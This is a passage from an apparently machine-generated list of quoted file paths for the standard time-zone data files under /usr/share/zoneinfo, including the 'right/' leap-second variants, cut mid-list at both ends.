"/usr/share/zoneinfo/Asia/Samarkand", "/usr/share/zoneinfo/Asia/Seoul", "/usr/share/zoneinfo/Asia/Shanghai", "/usr/share/zoneinfo/Asia/Singapore", "/usr/share/zoneinfo/Asia/Srednekolymsk", "/usr/share/zoneinfo/Asia/Taipei", "/usr/share/zoneinfo/Asia/Tashkent", "/usr/share/zoneinfo/Asia/Tbilisi", "/usr/share/zoneinfo/Asia/Tehran", "/usr/share/zoneinfo/Asia/Thimphu", "/usr/share/zoneinfo/Asia/Tokyo", "/usr/share/zoneinfo/Asia/Tomsk", "/usr/share/zoneinfo/Asia/Ulaanbaatar", "/usr/share/zoneinfo/Asia/Urumqi", "/usr/share/zoneinfo/Asia/Ust-Nera", "/usr/share/zoneinfo/Asia/Vientiane", "/usr/share/zoneinfo/Asia/Vladivostok", "/usr/share/zoneinfo/Asia/Yakutsk", "/usr/share/zoneinfo/Asia/Yangon", "/usr/share/zoneinfo/Asia/Yekaterinburg", "/usr/share/zoneinfo/Asia/Yerevan", "/usr/share/zoneinfo/Atlantic/Azores", "/usr/share/zoneinfo/Atlantic/Bermuda", "/usr/share/zoneinfo/Atlantic/Canary", "/usr/share/zoneinfo/Atlantic/Cape_Verde", "/usr/share/zoneinfo/Atlantic/Faroe", "/usr/share/zoneinfo/Atlantic/Madeira", "/usr/share/zoneinfo/Atlantic/Reykjavik", "/usr/share/zoneinfo/Atlantic/South_Georgia", "/usr/share/zoneinfo/Atlantic/St_Helena", "/usr/share/zoneinfo/Atlantic/Stanley", "/usr/share/zoneinfo/Australia/Adelaide", "/usr/share/zoneinfo/Australia/Brisbane", "/usr/share/zoneinfo/Australia/Broken_Hill", "/usr/share/zoneinfo/Australia/Darwin", "/usr/share/zoneinfo/Australia/Eucla", "/usr/share/zoneinfo/Australia/Hobart", "/usr/share/zoneinfo/Australia/Lindeman", "/usr/share/zoneinfo/Australia/Lord_Howe", "/usr/share/zoneinfo/Australia/Melbourne", "/usr/share/zoneinfo/Australia/Perth", "/usr/share/zoneinfo/Australia/Sydney", "/usr/share/zoneinfo/CET", "/usr/share/zoneinfo/CST6CDT", "/usr/share/zoneinfo/EET", "/usr/share/zoneinfo/EST", "/usr/share/zoneinfo/EST5EDT", "/usr/share/zoneinfo/Etc/GMT", "/usr/share/zoneinfo/Etc/GMT+1", "/usr/share/zoneinfo/Etc/GMT+10", "/usr/share/zoneinfo/Etc/GMT+11", "/usr/share/zoneinfo/Etc/GMT+12", "/usr/share/zoneinfo/Etc/GMT+2", "/usr/share/zoneinfo/Etc/GMT+3", "/usr/share/zoneinfo/Etc/GMT+4", "/usr/share/zoneinfo/Etc/GMT+5", "/usr/share/zoneinfo/Etc/GMT+6", "/usr/share/zoneinfo/Etc/GMT+7", "/usr/share/zoneinfo/Etc/GMT+8", "/usr/share/zoneinfo/Etc/GMT+9", "/usr/share/zoneinfo/Etc/GMT-1", "/usr/share/zoneinfo/Etc/GMT-10", "/usr/share/zoneinfo/Etc/GMT-11", "/usr/share/zoneinfo/Etc/GMT-12", "/usr/share/zoneinfo/Etc/GMT-13", "/usr/share/zoneinfo/Etc/GMT-14", "/usr/share/zoneinfo/Etc/GMT-2", "/usr/share/zoneinfo/Etc/GMT-3", "/usr/share/zoneinfo/Etc/GMT-4", "/usr/share/zoneinfo/Etc/GMT-5", "/usr/share/zoneinfo/Etc/GMT-6", "/usr/share/zoneinfo/Etc/GMT-7", "/usr/share/zoneinfo/Etc/GMT-8", "/usr/share/zoneinfo/Etc/GMT-9", "/usr/share/zoneinfo/Etc/UTC", "/usr/share/zoneinfo/Europe/Amsterdam", "/usr/share/zoneinfo/Europe/Andorra", "/usr/share/zoneinfo/Europe/Astrakhan", "/usr/share/zoneinfo/Europe/Athens", "/usr/share/zoneinfo/Europe/Belgrade", "/usr/share/zoneinfo/Europe/Berlin", "/usr/share/zoneinfo/Europe/Brussels", "/usr/share/zoneinfo/Europe/Bucharest", "/usr/share/zoneinfo/Europe/Budapest", "/usr/share/zoneinfo/Europe/Chisinau", "/usr/share/zoneinfo/Europe/Copenhagen", "/usr/share/zoneinfo/Europe/Dublin", "/usr/share/zoneinfo/Europe/Gibraltar", "/usr/share/zoneinfo/Europe/Guernsey", "/usr/share/zoneinfo/Europe/Helsinki", "/usr/share/zoneinfo/Europe/Isle_of_Man", "/usr/share/zoneinfo/Europe/Istanbul", "/usr/share/zoneinfo/Europe/Jersey", "/usr/share/zoneinfo/Europe/Kaliningrad", "/usr/share/zoneinfo/Europe/Kirov", "/usr/share/zoneinfo/Europe/Kyiv", "/usr/share/zoneinfo/Europe/Lisbon", "/usr/share/zoneinfo/Europe/Ljubljana", "/usr/share/zoneinfo/Europe/London", "/usr/share/zoneinfo/Europe/Luxembourg", "/usr/share/zoneinfo/Europe/Madrid", "/usr/share/zoneinfo/Europe/Malta", "/usr/share/zoneinfo/Europe/Minsk", "/usr/share/zoneinfo/Europe/Monaco", "/usr/share/zoneinfo/Europe/Moscow", "/usr/share/zoneinfo/Europe/Oslo", "/usr/share/zoneinfo/Europe/Paris", "/usr/share/zoneinfo/Europe/Prague", "/usr/share/zoneinfo/Europe/Riga", "/usr/share/zoneinfo/Europe/Rome", "/usr/share/zoneinfo/Europe/Samara", "/usr/share/zoneinfo/Europe/Sarajevo", "/usr/share/zoneinfo/Europe/Saratov", "/usr/share/zoneinfo/Europe/Simferopol", "/usr/share/zoneinfo/Europe/Skopje", "/usr/share/zoneinfo/Europe/Sofia", "/usr/share/zoneinfo/Europe/Stockholm", "/usr/share/zoneinfo/Europe/Tallinn", "/usr/share/zoneinfo/Europe/Tirane", "/usr/share/zoneinfo/Europe/Ulyanovsk", "/usr/share/zoneinfo/Europe/Vaduz", "/usr/share/zoneinfo/Europe/Vienna", "/usr/share/zoneinfo/Europe/Vilnius", "/usr/share/zoneinfo/Europe/Volgograd", "/usr/share/zoneinfo/Europe/Warsaw", "/usr/share/zoneinfo/Europe/Zagreb", "/usr/share/zoneinfo/Europe/Zurich", "/usr/share/zoneinfo/Factory", "/usr/share/zoneinfo/HST", "/usr/share/zoneinfo/Indian/Antananarivo", "/usr/share/zoneinfo/Indian/Chagos", "/usr/share/zoneinfo/Indian/Christmas", "/usr/share/zoneinfo/Indian/Cocos", "/usr/share/zoneinfo/Indian/Comoro", "/usr/share/zoneinfo/Indian/Kerguelen", "/usr/share/zoneinfo/Indian/Mahe", "/usr/share/zoneinfo/Indian/Maldives", "/usr/share/zoneinfo/Indian/Mauritius", "/usr/share/zoneinfo/Indian/Mayotte", "/usr/share/zoneinfo/Indian/Reunion", "/usr/share/zoneinfo/MET", "/usr/share/zoneinfo/MST", "/usr/share/zoneinfo/MST7MDT", "/usr/share/zoneinfo/PST8PDT", "/usr/share/zoneinfo/Pacific/Apia", "/usr/share/zoneinfo/Pacific/Auckland", "/usr/share/zoneinfo/Pacific/Bougainville", "/usr/share/zoneinfo/Pacific/Chatham", "/usr/share/zoneinfo/Pacific/Chuuk", "/usr/share/zoneinfo/Pacific/Easter", "/usr/share/zoneinfo/Pacific/Efate", "/usr/share/zoneinfo/Pacific/Fakaofo", "/usr/share/zoneinfo/Pacific/Fiji", "/usr/share/zoneinfo/Pacific/Funafuti", "/usr/share/zoneinfo/Pacific/Galapagos", "/usr/share/zoneinfo/Pacific/Gambier", "/usr/share/zoneinfo/Pacific/Guadalcanal", "/usr/share/zoneinfo/Pacific/Guam", "/usr/share/zoneinfo/Pacific/Honolulu", "/usr/share/zoneinfo/Pacific/Kanton", "/usr/share/zoneinfo/Pacific/Kiritimati", "/usr/share/zoneinfo/Pacific/Kosrae", "/usr/share/zoneinfo/Pacific/Kwajalein", "/usr/share/zoneinfo/Pacific/Majuro", "/usr/share/zoneinfo/Pacific/Marquesas", "/usr/share/zoneinfo/Pacific/Midway", "/usr/share/zoneinfo/Pacific/Nauru", "/usr/share/zoneinfo/Pacific/Niue", "/usr/share/zoneinfo/Pacific/Norfolk", "/usr/share/zoneinfo/Pacific/Noumea", "/usr/share/zoneinfo/Pacific/Pago_Pago", "/usr/share/zoneinfo/Pacific/Palau", "/usr/share/zoneinfo/Pacific/Pitcairn", "/usr/share/zoneinfo/Pacific/Pohnpei", "/usr/share/zoneinfo/Pacific/Port_Moresby", "/usr/share/zoneinfo/Pacific/Rarotonga", "/usr/share/zoneinfo/Pacific/Saipan", "/usr/share/zoneinfo/Pacific/Tahiti", "/usr/share/zoneinfo/Pacific/Tarawa", "/usr/share/zoneinfo/Pacific/Tongatapu", "/usr/share/zoneinfo/Pacific/Wake", "/usr/share/zoneinfo/Pacific/Wallis", "/usr/share/zoneinfo/WET", "/usr/share/zoneinfo/iso3166.tab", "/usr/share/zoneinfo/leap-seconds.list", "/usr/share/zoneinfo/leapseconds", "/usr/share/zoneinfo/right/Africa/Abidjan", "/usr/share/zoneinfo/right/Africa/Accra", "/usr/share/zoneinfo/right/Africa/Addis_Ababa", "/usr/share/zoneinfo/right/Africa/Algiers", "/usr/share/zoneinfo/right/Africa/Asmara", "/usr/share/zoneinfo/right/Africa/Bamako", "/usr/share/zoneinfo/right/Africa/Bangui", "/usr/share/zoneinfo/right/Africa/Banjul", "/usr/share/zoneinfo/right/Africa/Bissau", "/usr/share/zoneinfo/right/Africa/Blantyre", "/usr/share/zoneinfo/right/Africa/Brazzaville", "/usr/share/zoneinfo/right/Africa/Bujumbura", "/usr/share/zoneinfo/right/Africa/Cairo", "/usr/share/zoneinfo/right/Africa/Casablanca", "/usr/share/zoneinfo/right/Africa/Ceuta", "/usr/share/zoneinfo/right/Africa/Conakry", "/usr/share/zoneinfo/right/Africa/Dakar", "/usr/share/zoneinfo/right/Africa/Dar_es_Salaam", "/usr/share/zoneinfo/right/Africa/Djibouti", "/usr/share/zoneinfo/right/Africa/Douala", "/usr/share/zoneinfo/right/Africa/El_Aaiun", "/usr/share/zoneinfo/right/Africa/Freetown", "/usr/share/zoneinfo/right/Africa/Gaborone", "/usr/share/zoneinfo/right/Africa/Harare", "/usr/share/zoneinfo/right/Africa/Johannesburg", "/usr/share/zoneinfo/right/Africa/Juba", "/usr/share/zoneinfo/right/Africa/Kampala", "/usr/share/zoneinfo/right/Africa/Khartoum", "/usr/share/zoneinfo/right/Africa/Kigali", "/usr/share/zoneinfo/right/Africa/Kinshasa", "/usr/share/zoneinfo/right/Africa/Lagos", "/usr/share/zoneinfo/right/Africa/Libreville", "/usr/share/zoneinfo/right/Africa/Lome", "/usr/share/zoneinfo/right/Africa/Luanda", "/usr/share/zoneinfo/right/Africa/Lubumbashi", "/usr/share/zoneinfo/right/Africa/Lusaka", "/usr/share/zoneinfo/right/Africa/Malabo", "/usr/share/zoneinfo/right/Africa/Maputo", "/usr/share/zoneinfo/right/Africa/Maseru", "/usr/share/zoneinfo/right/Africa/Mbabane", "/usr/share/zoneinfo/right/Africa/Mogadishu", "/usr/share/zoneinfo/right/Africa/Monrovia", "/usr/share/zoneinfo/right/Africa/Nairobi", "/usr/share/zoneinfo/right/Africa/Ndjamena", "/usr/share/zoneinfo/right/Africa/Niamey", "/usr/share/zoneinfo/right/Africa/Nouakchott", "/usr/share/zoneinfo/right/Africa/Ouagadougou", "/usr/share/zoneinfo/right/Africa/Porto-Novo", "/usr/share/zoneinfo/right/Africa/Sao_Tome", "/usr/share/zoneinfo/right/Africa/Tripoli", "/usr/share/zoneinfo/right/Africa/Tunis", "/usr/share/zoneinfo/right/Africa/Windhoek", "/usr/share/zoneinfo/right/America/Adak", "/usr/share/zoneinfo/right/America/Anchorage", "/usr/share/zoneinfo/right/America/Anguilla", "/usr/share/zoneinfo/right/America/Antigua", "/usr/share/zoneinfo/right/America/Araguaina", "/usr/share/zoneinfo/right/America/Argentina/Buenos_Aires", "/usr/share/zoneinfo/right/America/Argentina/Catamarca", "/usr/share/zoneinfo/right/America/Argentina/Cordoba", "/usr/share/zoneinfo/right/America/Argentina/Jujuy", "/usr/share/zoneinfo/right/America/Argentina/La_Rioja", "/usr/share/zoneinfo/right/America/Argentina/Mendoza", "/usr/share/zoneinfo/right/America/Argentina/Rio_Gallegos", "/usr/share/zoneinfo/right/America/Argentina/Salta", "/usr/share/zoneinfo/right/America/Argentina/San_Juan", "/usr/share/zoneinfo/right/America/Argentina/San_Luis", "/usr/share/zoneinfo/right/America/Argentina/Tucuman", "/usr/share/zoneinfo/right/America/Argentina/Ushuaia", "/usr/share/zoneinfo/right/America/Aruba", "/usr/share/zoneinfo/right/America/Asuncion", "/usr/share/zoneinfo/right/America/Atikokan", "/usr/share/zoneinfo/right/America/Bahia", "/usr/share/zoneinfo/right/America/Bahia_Banderas", "/usr/share/zoneinfo/right/America/Barbados", "/usr/share/zoneinfo/right/America/Belem", "/usr/share/zoneinfo/right/America/Belize", "/usr/share/zoneinfo/right/America/Blanc-Sablon", "/usr/share/zoneinfo/right/America/Boa_Vista", "/usr/share/zoneinfo/right/America/Bogota", "/usr/share/zoneinfo/right/America/Boise", "/usr/share/zoneinfo/right/America/Cambridge_Bay", "/usr/share/zoneinfo/right/America/Campo_Grande", "/usr/share/zoneinfo/right/America/Cancun", "/usr/share/zoneinfo/right/America/Caracas", "/usr/share/zoneinfo/right/America/Cayenne", "/usr/share/zoneinfo/right/America/Cayman", "/usr/share/zoneinfo/right/America/Chicago", "/usr/share/zoneinfo/right/America/Chihuahua", "/usr/share/zoneinfo/right/America/Ciudad_Juarez", "/usr/share/zoneinfo/right/America/Costa_Rica", "/usr/share/zoneinfo/right/America/Coyhaique", "/usr/share/zoneinfo/right/America/Creston", "/usr/share/zoneinfo/right/America/Cuiaba", "/usr/share/zoneinfo/right/America/Curacao", "/usr/share/zoneinfo/right/America/Danmarkshavn", "/usr/share/zoneinfo/right/America/Dawson", "/usr/share/zoneinfo/right/America/Dawson_Creek", "/usr/share/zoneinfo/right/America/Denver", "/usr/share/zoneinfo/right/America/Detroit", "/usr/share/zoneinfo/right/America/Dominica", "/usr/share/zoneinfo/right/America/Edmonton", "/usr/share/zoneinfo/right/America/Eirunepe", "/usr/share/zoneinfo/right/America/El_Salvador", "/usr/share/zoneinfo/right/America/Fort_Nelson", "/usr/share/zoneinfo/right/America/Fortaleza", "/usr/share/zoneinfo/right/America/Glace_Bay", "/usr/share/zoneinfo/right/America/Goose_Bay", "/usr/share/zoneinfo/right/America/Grand_Turk", "/usr/share/zoneinfo/right/America/Grenada", "/usr/share/zoneinfo/right/America/Guadeloupe", "/usr/share/zoneinfo/right/America/Guatemala", "/usr/share/zoneinfo/right/America/Guayaquil", "/usr/share/zoneinfo/right/America/Guyana", "/usr/share/zoneinfo/right/America/Halifax", "/usr/share/zoneinfo/right/America/Havana", "/usr/share/zoneinfo/right/America/Hermosillo", "/usr/share/zoneinfo/right/America/Indiana/Indianapolis", "/usr/share/zoneinfo/right/America/Indiana/Knox", "/usr/share/zoneinfo/right/America/Indiana/Marengo", "/usr/share/zoneinfo/right/America/Indiana/Petersburg", "/usr/share/zoneinfo/right/America/Indiana/Tell_City", "/usr/share/zoneinfo/right/America/Indiana/Vevay", "/usr/share/zoneinfo/right/America/Indiana/Vincennes", "/usr/share/zoneinfo/right/America/Indiana/Winamac", "/usr/share/zoneinfo/right/America/Inuvik", "/usr/share/zoneinfo/right/America/Iqaluit", "/usr/share/zoneinfo/right/America/Jamaica", "/usr/share/zoneinfo/right/America/Juneau", "/usr/share/zoneinfo/right/America/Kentucky/Louisville", "/usr/share/zoneinfo/right/America/Kentucky/Monticello", "/usr/share/zoneinfo/right/America/La_Paz", "/usr/share/zoneinfo/right/America/Lima", "/usr/share/zoneinfo/right/America/Los_Angeles", "/usr/share/zoneinfo/right/America/Maceio", "/usr/share/zoneinfo/right/America/Managua", "/usr/share/zoneinfo/right/America/Manaus", "/usr/share/zoneinfo/right/America/Martinique", "/usr/share/zoneinfo/right/America/Matamoros", "/usr/share/zoneinfo/right/America/Mazatlan", "/usr/share/zoneinfo/right/America/Menominee", "/usr/share/zoneinfo/right/America/Merida", "/usr/share/zoneinfo/right/America/Metlakatla", "/usr/share/zoneinfo/right/America/Mexico_City", "/usr/share/zoneinfo/right/America/Miquelon", "/usr/share/zoneinfo/right/America/Moncton", "/usr/share/zoneinfo/right/America/Monterrey", "/usr/share/zoneinfo/right/America/Montevideo", "/usr/share/zoneinfo/right/America/Montserrat", "/usr/share/zoneinfo/right/America/Nassau", "/usr/share/zoneinfo/right/America/New_York", "/usr/share/zoneinfo/right/America/Nome", "/usr/share/zoneinfo/right/America/Noronha", "/usr/share/zoneinfo/right/America/North_Dakota/Beulah", "/usr/share/zoneinfo/right/America/North_Dakota/Center", "/usr/share/zoneinfo/right/America/North_Dakota/New_Salem", "/usr/share/zoneinfo/right/America/Nuuk", "/usr/share/zoneinfo/right/America/Ojinaga", "/usr/share/zoneinfo/right/America/Panama", "/usr/share/zoneinfo/right/America/Paramaribo", "/usr/share/zoneinfo/right/America/Phoenix", "/usr/share/zoneinfo/right/America/Port-au-Prince", "/usr/share/zoneinfo/right/America/Port_of_Spain", "/usr/share/zoneinfo/right/America/Porto_Velho", "/usr/share/zoneinfo/right/America/Puerto_Rico", "/usr/share/zoneinfo/right/America/Punta_Arenas", "/usr/share/zoneinfo/right/America/Rankin_Inlet", "/usr/share/zoneinfo/right/America/Recife", "/usr/share/zoneinfo/right/America/Regina", "/usr/share/zoneinfo/right/America/Resolute", "/usr/share/zoneinfo/right/America/Rio_Branco", "/usr/share/zoneinfo/right/America/Santarem", "/usr/share/zoneinfo/right/America/Santiago", "/usr/share/zoneinfo/right/America/Santo_Domingo", "/usr/share/zoneinfo/right/America/Sao_Paulo", "/usr/share/zoneinfo/right/America/Scoresbysund", "/usr/share/zoneinfo/right/America/Sitka", "/usr/share/zoneinfo/right/America/St_Johns", "/usr/share/zoneinfo/right/America/St_Kitts", "/usr/share/zoneinfo/right/America/St_Lucia", "/usr/share/zoneinfo/right/America/St_Thomas", "/usr/share/zoneinfo/right/America/St_Vincent", "/usr/share/zoneinfo/right/America/Swift_Current", "/usr/share/zoneinfo/right/America/Tegucigalpa", "/usr/share/zoneinfo/right/America/Thule", "/usr/share/zoneinfo/right/America/Tijuana", "/usr/share/zoneinfo/right/America/Toronto", "/usr/share/zoneinfo/right/America/Tortola", "/usr/share/zoneinfo/right/America/Vancouver", "/usr/share/zoneinfo/right/America/Whitehorse", "/usr/share/zoneinfo/right/America/Winnipeg", "/usr/share/zoneinfo/right/America/Yakutat", "/usr/share/zoneinfo/right/Antarctica/Casey", "/usr/share/zoneinfo/right/Antarctica/Davis", "/usr/share/zoneinfo/right/Antarctica/DumontDUrville", "/usr/share/zoneinfo/right/Antarctica/Macquarie", "/usr/share/zoneinfo/right/Antarctica/Mawson", "/usr/share/zoneinfo/right/Antarctica/McMurdo", "/usr/share/zoneinfo/right/Antarctica/Palmer", "/usr/share/zoneinfo/right/Antarctica/Rothera", "/usr/share/zoneinfo/right/Antarctica/Syowa", "/usr/share/zoneinfo/right/Antarctica/Troll", "/usr/share/zoneinfo/right/Antarctica/Vostok", "/usr/share/zoneinfo/right/Asia/Aden", "/usr/share/zoneinfo/right/Asia/Almaty", "/usr/share/zoneinfo/right/Asia/Amman", "/usr/share/zoneinfo/right/Asia/Anadyr", "/usr/share/zoneinfo/right/Asia/Aqtau", "/usr/share/zoneinfo/right/Asia/Aqtobe", "/usr/share/zoneinfo/right/Asia/Ashgabat", "/usr/share/zoneinfo/right/Asia/Atyrau", "/usr/share/zoneinfo/right/Asia/Baghdad", "/usr/share/zoneinfo/right/Asia/Bahrain", "/usr/share/zoneinfo/right/Asia/Baku", "/usr/share/zoneinfo/right/Asia/Bangkok", "/usr/share/zoneinfo/right/Asia/Barnaul", "/usr/share/zoneinfo/right/Asia/Beirut", "/usr/share/zoneinfo/right/Asia/Bishkek", "/usr/share/zoneinfo/right/Asia/Brunei", "/usr/share/zoneinfo/right/Asia/Chita", "/usr/share/zoneinfo/right/Asia/Colombo", "/usr/share/zoneinfo/right/Asia/Damascus", "/usr/share/zoneinfo/right/Asia/Dhaka", "/usr/share/zoneinfo/right/Asia/Dili", "/usr/share/zoneinfo/right/Asia/Dubai", "/usr/share/zoneinfo/right/Asia/Dushanbe", "/usr/share/zoneinfo/right/Asia/Famagusta", "/usr/share/zoneinfo/right/Asia/Gaza", "/usr/share/zoneinfo/right/Asia/Hebron", "/usr/share/zoneinfo/right/Asia/Ho_Chi_Minh", "/usr/share/zoneinfo/right/Asia/Hong_Kong", "/usr/share/zoneinfo/right/Asia/Hovd", "/usr/share/zoneinfo/right/Asia/Irkutsk", "/usr/share/zoneinfo/right/Asia/Jakarta", "/usr/share/zoneinfo/right/Asia/Jayapura", "/usr/share/zoneinfo/right/Asia/Jerusalem", "/usr/share/zoneinfo/right/Asia/Kabul", "/usr/share/zoneinfo/right/Asia/Kamchatka", "/usr/share/zoneinfo/right/Asia/Karachi", "/usr/share/zoneinfo/right/Asia/Kathmandu", "/usr/share/zoneinfo/right/Asia/Khandyga", "/usr/share/zoneinfo/right/Asia/Kolkata", "/usr/share/zoneinfo/right/Asia/Krasnoyarsk", "/usr/share/zoneinfo/right/Asia/Kuala_Lumpur", "/usr/share/zoneinfo/right/Asia/Kuching", "/usr/share/zoneinfo/right/Asia/Kuwait", "/usr/share/zoneinfo/right/Asia/Macau", "/usr/share/zoneinfo/right/Asia/Magadan", "/usr/share/zoneinfo/right/Asia/Makassar", "/usr/share/zoneinfo/right/Asia/Manila", "/usr/share/zoneinfo/right/Asia/Muscat", "/usr/share/zoneinfo/right/Asia/Nicosia", "/usr/share/zoneinfo/right/Asia/Novokuznetsk", "/usr/share/zoneinfo/right/Asia/Novosibirsk", "/usr/share/zoneinfo/right/Asia/Omsk", "/usr/share/zoneinfo/right/Asia/Oral", "/usr/share/zoneinfo/right/Asia/Phnom_Penh", "/usr/share/zoneinfo/right/Asia/Pontianak", "/usr/share/zoneinfo/right/Asia/Pyongyang", "/usr/share/zoneinfo/right/Asia/Qatar", "/usr/share/zoneinfo/right/Asia/Qostanay", "/usr/share/zoneinfo/right/Asia/Qyzylorda", "/usr/share/zoneinfo/right/Asia/Riyadh", "/usr/share/zoneinfo/right/Asia/Sakhalin", "/usr/share/zoneinfo/right/Asia/Samarkand", "/usr/share/zoneinfo/right/Asia/Seoul", "/usr/share/zoneinfo/right/Asia/Shanghai", "/usr/share/zoneinfo/right/Asia/Singapore", "/usr/share/zoneinfo/right/Asia/Srednekolymsk", "/usr/share/zoneinfo/right/Asia/Taipei", "/usr/share/zoneinfo/right/Asia/Tashkent", "/usr/share/zoneinfo/right/Asia/Tbilisi", "/usr/share/zoneinfo/right/Asia/Tehran", "/usr/share/zoneinfo/right/Asia/Thimphu", "/usr/share/zoneinfo/right/Asia/Tokyo", "/usr/share/zoneinfo/right/Asia/Tomsk", "/usr/share/zoneinfo/right/Asia/Ulaanbaatar", "/usr/share/zoneinfo/right/Asia/Urumqi", "/usr/share/zoneinfo/right/Asia/Ust-Nera", "/usr/share/zoneinfo/right/Asia/Vientiane", "/usr/share/zoneinfo/right/Asia/Vladivostok", "/usr/share/zoneinfo/right/Asia/Yakutsk", "/usr/share/zoneinfo/right/Asia/Yangon", "/usr/share/zoneinfo/right/Asia/Yekaterinburg", "/usr/share/zoneinfo/right/Asia/Yerevan", "/usr/share/zoneinfo/right/Atlantic/Azores", "/usr/share/zoneinfo/right/Atlantic/Bermuda", "/usr/share/zoneinfo/right/Atlantic/Canary", "/usr/share/zoneinfo/right/Atlantic/Cape_Verde", "/usr/share/zoneinfo/right/Atlantic/Faroe", "/usr/share/zoneinfo/right/Atlantic/Madeira", "/usr/share/zoneinfo/right/Atlantic/Reykjavik", "/usr/share/zoneinfo/right/Atlantic/South_Georgia", "/usr/share/zoneinfo/right/Atlantic/St_Helena", "/usr/share/zoneinfo/right/Atlantic/Stanley", "/usr/share/zoneinfo/right/Australia/Adelaide", "/usr/share/zoneinfo/right/Australia/Brisbane", "/usr/share/zoneinfo/right/Australia/Broken_Hill", "/usr/share/zoneinfo/right/Australia/Darwin", "/usr/share/zoneinfo/right/Australia/Eucla", "/usr/share/zoneinfo/right/Australia/Hobart", "/usr/share/zoneinfo/right/Australia/Lindeman", "/usr/share/zoneinfo/right/Australia/Lord_Howe", "/usr/share/zoneinfo/right/Australia/Melbourne", "/usr/share/zoneinfo/right/Australia/Perth", "/usr/share/zoneinfo/right/Australia/Sydney", "/usr/share/zoneinfo/right/CET", "/usr/share/zoneinfo/right/CST6CDT", "/usr/share/zoneinfo/right/EET", "/usr/share/zoneinfo/right/EST", "/usr/share/zoneinfo/right/EST5EDT", "/usr/share/zoneinfo/right/Etc/GMT", "/usr/share/zoneinfo/right/Etc/GMT+1", "/usr/share/zoneinfo/right/Etc/GMT+10", "/usr/share/zoneinfo/right/Etc/GMT+11", "/usr/share/zoneinfo/right/Etc/GMT+12", "/usr/share/zoneinfo/right/Etc/GMT+2", "/usr/share/zoneinfo/right/Etc/GMT+3", "/usr/share/zoneinfo/right/Etc/GMT+4", "/usr/share/zoneinfo/right/Etc/GMT+5", "/usr/share/zoneinfo/right/Etc/GMT+6", "/usr/share/zoneinfo/right/Etc/GMT+7", "/usr/share/zoneinfo/right/Etc/GMT+8", "/usr/share/zoneinfo/right/Etc/GMT+9", "/usr/share/zoneinfo/right/Etc/GMT-1", "/usr/share/zoneinfo/right/Etc/GMT-10", "/usr/share/zoneinfo/right/Etc/GMT-11", "/usr/share/zoneinfo/right/Etc/GMT-12", "/usr/share/zoneinfo/right/Etc/GMT-13", "/usr/share/zoneinfo/right/Etc/GMT-14", "/usr/share/zoneinfo/right/Etc/GMT-2", "/usr/share/zoneinfo/right/Etc/GMT-3", "/usr/share/zoneinfo/right/Etc/GMT-4", "/usr/share/zoneinfo/right/Etc/GMT-5", "/usr/share/zoneinfo/right/Etc/GMT-6", "/usr/share/zoneinfo/right/Etc/GMT-7", "/usr/share/zoneinfo/right/Etc/GMT-8", "/usr/share/zoneinfo/right/Etc/GMT-9", "/usr/share/zoneinfo/right/Etc/UTC", "/usr/share/zoneinfo/right/Europe/Amsterdam", "/usr/share/zoneinfo/right/Europe/Andorra", "/usr/share/zoneinfo/right/Europe/Astrakhan", "/usr/share/zoneinfo/right/Europe/Athens", "/usr/share/zoneinfo/right/Europe/Belgrade", "/usr/share/zoneinfo/right/Europe/Berlin", "/usr/share/zoneinfo/right/Europe/Brussels", "/usr/share/zoneinfo/right/Europe/Bucharest", "/usr/share/zoneinfo/right/Europe/Budapest", "/usr/share/zoneinfo/right/Europe/Chisinau", "/usr/share/zoneinfo/right/Europe/Copenhagen", "/usr/share/zoneinfo/right/Europe/Dublin", "/usr/share/zoneinfo/right/Europe/Gibraltar", "/usr/share/zoneinfo/right/Europe/Guernsey", "/usr/share/zoneinfo/right/Europe/Helsinki", "/usr/share/zoneinfo/right/Europe/Isle_of_Man", "/usr/share/zoneinfo/right/Europe/Istanbul", "/usr/share/zoneinfo/right/Europe/Jersey", "/usr/share/zoneinfo/right/Europe/Kaliningrad", "/usr/share/zoneinfo/right/Europe/Kirov", "/usr/share/zoneinfo/right/Europe/Kyiv", "/usr/share/zoneinfo/right/Europe/Lisbon", "/usr/share/zoneinfo/right/Europe/Ljubljana", "/usr/share/zoneinfo/right/Europe/London", "/usr/share/zoneinfo/right/Europe/Luxembourg", "/usr/share/zoneinfo/right/Europe/Madrid", "/usr/share/zoneinfo/right/Europe/Malta", "/usr/share/zoneinfo/right/Europe/Minsk", "/usr/share/zoneinfo/right/Europe/Monaco", "/usr/share/zoneinfo/right/Europe/Moscow", "/usr/share/zoneinfo/right/Europe/Oslo", "/usr/share/zoneinfo/right/Europe/Paris", "/usr/share/zoneinfo/right/Europe/Prague", "/usr/share/zoneinfo/right/Europe/Riga", "/usr/share/zoneinfo/right/Europe/Rome", "/usr/share/zoneinfo/right/Europe/Samara", "/usr/share/zoneinfo/right/Europe/Sarajevo", "/usr/share/zoneinfo/right/Europe/Saratov", "/usr/share/zoneinfo/right/Europe/Simferopol", "/usr/share/zoneinfo/right/Europe/Skopje", "/usr/share/zoneinfo/right/Europe/Sofia", "/usr/share/zoneinfo/right/Europe/Stockholm", "/usr/share/zoneinfo/right/Europe/Tallinn", "/usr/share/zoneinfo/right/Europe/Tirane", "/usr/share/zoneinfo/right/Europe/Ulyanovsk", "/usr/share/zoneinfo/right/Europe/Vaduz", "/usr/share/zoneinfo/right/Europe/Vienna", "/usr/share/zoneinfo/right/Europe/Vilnius", "/usr/share/zoneinfo/right/Europe/Volgograd", "/usr/share/zoneinfo/right/Europe/Warsaw", "/usr/share/zoneinfo/right/Europe/Zagreb", "/usr/share/zoneinfo/right/Europe/Zurich", "/usr/share/zoneinfo/right/Factory", "/usr/share/zoneinfo/right/HST", "/usr/share/zoneinfo/right/Indian/Antananarivo", "/usr/share/zoneinfo/right/Indian/Chagos", "/usr/share/zoneinfo/right/Indian/Christmas", "/usr/share/zoneinfo/right/Indian/Cocos", "/usr/share/zoneinfo/right/Indian/Comoro", "/usr/share/zoneinfo/right/Indian/Kerguelen", "/usr/share/zoneinfo/right/Indian/Mahe", "/usr/share/zoneinfo/right/Indian/Maldives", "/usr/share/zoneinfo/right/Indian/Mauritius", "/usr/share/zoneinfo/right/Indian/Mayotte", "/usr/share/zoneinfo/right/Indian/Reunion", "/usr/share/zoneinfo/right/MET", "/usr/share/zoneinfo/right/MST", "/usr/share/zoneinfo/right/MST7MDT", "/usr/share/zoneinfo/right/PST8PDT", "/usr/share/zoneinfo/right/Pacific/Apia", "/usr/share/zoneinfo/right/Pacific/Auckland", "/usr/share/zoneinfo/right/Pacific/Bougainville", "/usr/share/zoneinfo/right/Pacific/Chatham", "/usr/share/zoneinfo/right/Pacific/Chuuk", 